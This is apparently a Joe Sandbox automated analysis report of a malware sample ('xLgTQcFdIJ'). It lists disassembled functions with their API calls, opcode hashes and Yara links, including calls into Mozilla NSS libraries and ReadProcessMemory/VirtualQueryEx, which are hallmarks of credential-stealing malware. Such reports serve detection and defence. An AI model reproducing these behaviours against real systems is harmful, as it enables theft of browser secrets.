Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 908546890a894c9eb7ea5764bd56bba56ee6b1648a7a2d8123e56cf6e474b2aa
Instruction ID: cf471f64a1a84ba04b2b6c1058f681391334afd55c8680dd29f09640b78a124b
Opcode Fuzzy Hash: 908546890a894c9eb7ea5764bd56bba56ee6b1648a7a2d8123e56cf6e474b2aa
Instruction Fuzzy Hash: F3214CB29052109BEF108E589E46B9A77E4AF8573CF144324FC189B7C2E731D50587A7

Function 6C7BEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7BEE85
realloc.MOZGLUE(D8646709,?), ref: 6C7BEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7BEEC5

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

htonl.WSOCK32(?), ref: 6C7BEEE3
htonl.WSOCK32(00000000,?), ref: 6C7BEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7BEF01

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 22be51f29f01a383a2fb5cc2a9bce97a80eb8e340126b773d08e4b61fbfc5994
Instruction ID: 2486e9f4dfccc5d086078566279bf0e5b8d68dc5bc9426dd8323b505bac315f9
Opcode Fuzzy Hash: 22be51f29f01a383a2fb5cc2a9bce97a80eb8e340126b773d08e4b61fbfc5994
Instruction Fuzzy Hash: 5F21A671A002189FDB109F28DE8475AB7A8EF45358F1581B9FC19AB741E730EC14C7E6

Function 6C76EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C76EE49

Part of subcall function 6C78FAB0: free.MOZGLUE(?,-00000001,?,?,6C72F673,00000000,00000000), ref: 6C78FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C76EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C76EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C76EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C76EEB3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2767de4d75825d54829242184fe14285c3888002544c2d0f20a45ac5306bad7f
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 1B21C0B6A002146BFB118E69DD89EAB77ACAB49718F0401B4FE089B741EA71DC1487F1

Function 6C73BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C7BDC29,?), ref: 6C73BE64

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C7BDC29,?), ref: 6C73BE78

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C7BDC29,?), ref: 6C73BE96

Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C7BDC29,?), ref: 6C73BEBB

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C7BDC29,?), ref: 6C73BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C7BDC29,?), ref: 6C73BEF3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: a6605f981fe163cb63189ef6d14badd366e9795dce7ad8fba681d40d65185fc3
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: BF11EB72E411155BEB008B68AE09F6A376CDF41258F554038ED0DD7781E731F918C7A1

Function 6C7C3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7C5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C3D3F

Part of subcall function 6C73BA90: PORT_NewArena_Util.NSS3(00000800,6C7C3CAF,?), ref: 6C73BABF
Part of subcall function 6C73BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C7C3CAF,?), ref: 6C73BAD5
Part of subcall function 6C73BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C7C3CAF,?), ref: 6C73BB08
Part of subcall function 6C73BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7C3CAF,?), ref: 6C73BB1A
Part of subcall function 6C73BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C7C3CAF,?), ref: 6C73BB3B

PR_EnterMonitor.NSS3(?), ref: 6C7C3CCB

Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90AB
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90C9
Part of subcall function 6C7F9090: EnterCriticalSection.KERNEL32 ref: 6C7F90E5
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F9116
Part of subcall function 6C7F9090: LeaveCriticalSection.KERNEL32 ref: 6C7F913F

PR_EnterMonitor.NSS3(?), ref: 6C7C3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7C3CF8
PR_ExitMonitor.NSS3(?), ref: 6C7C3D15
PR_ExitMonitor.NSS3(?), ref: 6C7C3D2E

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 6897989a76d0c08cbf4abc8c3188c4b5f63a4dd2be4bc46c39c8c17d89caa7e1
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 2C1108757106016FE7205E69FE86BDBB3F4AB21308F504534E41AD7B21E632F819C653

Function 6C78FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C78FE08

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C78FE1D

Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C78FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C78FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C78FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C78FE6F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 6af63fb9e8290f781f0cdf991842e08037e7cd99c95dc3aa32299272c27b59bb
Instruction ID: 0e639c40110829b197ed328e1f2f7e212afc97e87dbc999cccbd1a9fd66edeb0
Opcode Fuzzy Hash: 6af63fb9e8290f781f0cdf991842e08037e7cd99c95dc3aa32299272c27b59bb
Instruction Fuzzy Hash: A01108B6602205ABEB008F58ED44A5BB39CAF59299F248038EA1C87B12E731D914C7A1

Function 6C83FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C83FD9E

Part of subcall function 6C7F9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C721A48), ref: 6C7F9BB3
Part of subcall function 6C7F9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C721A48), ref: 6C7F9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C83FDB9

Part of subcall function 6C71A900: TlsGetValue.KERNEL32(00000000,?,6C8914E4,?,6C6B4DD9), ref: 6C71A90F
Part of subcall function 6C71A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C71A94F

PR_Unlock.NSS3 ref: 6C83FDD4
PR_Lock.NSS3 ref: 6C83FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C83FE0D
PR_Unlock.NSS3 ref: 6C83FE23

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7a97af01fe579e90f3648a17cc8a7f9426d1f86742a8db5c6d3018029acb47cf
Instruction ID: 286a3d5a1f84b0ca68905f7f136b1a9db1a7662f9b3fc0ec0efb080e2daefcc5
Opcode Fuzzy Hash: 7a97af01fe579e90f3648a17cc8a7f9426d1f86742a8db5c6d3018029acb47cf
Instruction Fuzzy Hash: 1101E5BAA042116FCF254F59FD048427736BB1226CB1507B4E83A47BE1E722ED28CBC1

Function 0041CD0E Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CD1A

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__amsg_exit.LIBCMT ref: 0041CD3A
__lock.LIBCMT ref: 0041CD4A
InterlockedDecrement.KERNEL32(?), ref: 0041CD67
free.MSVCRT ref: 0041CD7A
InterlockedIncrement.KERNEL32(0042C558), ref: 0041CD92

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction ID: 81166cf5a2c435bb4aac1af76a8190dca09a737386ef4d0c79be19083c51ecfa
Opcode Fuzzy Hash: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction Fuzzy Hash: C2018835A817219BC721AB6AACC57DE7B60BF04714F55412BE80467790C73CA9C1CBDD

Function 6C71AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C71AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C71AFC4
%s at line %d of [%.10s], xrefs: 6C71AFD3
misuse, xrefs: 6C71AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C71AF5C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ce2540cedcd61b7c4d34b93bdffb934f37738e9add3534ae6128a412dc0af41c
Instruction ID: 6cbac51499d84691278d3921b2f1e6aba62a6b26cb10f66314712114d3d205e8
Opcode Fuzzy Hash: ce2540cedcd61b7c4d34b93bdffb934f37738e9add3534ae6128a412dc0af41c
Instruction Fuzzy Hash: F99104B1B082158FDB04CF59CA90BAAB7F5BF45324F1D45A8E865ABB51C334ED09CB60

Function 00417180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0041719F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041741A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004171CD

Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E61
Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E85

VirtualQueryEx.KERNEL32(0041758D,00000000,?,0000001C), ref: 00417212
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041741A), ref: 00417333

Part of subcall function 00417060: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00417078

Strings

@, xrefs: 00417226

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: d4c246fcbb90b677cbfa603dc812bd51b07a2c71a26f71c1c9cdc23e16c3c5e2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: CD5106B5E04109EBDB08CF98D981AEFB7B6BF88300F148159F915A7340D738AA41DBA5

Function 6C77FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C77FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C77FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C77FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C77FDDE

Part of subcall function 6C788800: TlsGetValue.KERNEL32(?,6C79085A,00000000,?,6C738369,?), ref: 6C788821
Part of subcall function 6C788800: TlsGetValue.KERNEL32(?,?,6C79085A,00000000,?,6C738369,?), ref: 6C78883D
Part of subcall function 6C788800: EnterCriticalSection.KERNEL32(?,?,?,6C79085A,00000000,?,6C738369,?), ref: 6C788856
Part of subcall function 6C788800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C788887
Part of subcall function 6C788800: PR_Unlock.NSS3(?,?,?,?,6C79085A,00000000,?,6C738369,?), ref: 6C788899

Strings

pkcs11:, xrefs: 6C77FC4F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 4c01a742f4fc54e6391e695c67f809199145c542aa714730fedf28cec107e328
Instruction ID: 2efd36dbefa5990310ea9a5f98d28f43792a201e5fd786127ef1a9a0913bb37f
Opcode Fuzzy Hash: 4c01a742f4fc54e6391e695c67f809199145c542aa714730fedf28cec107e328
Instruction Fuzzy Hash: EA51E3B1A111199BEF208F699F4AFAA33A5AF4135CF150035DE155BB51EB30E904CBB2

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
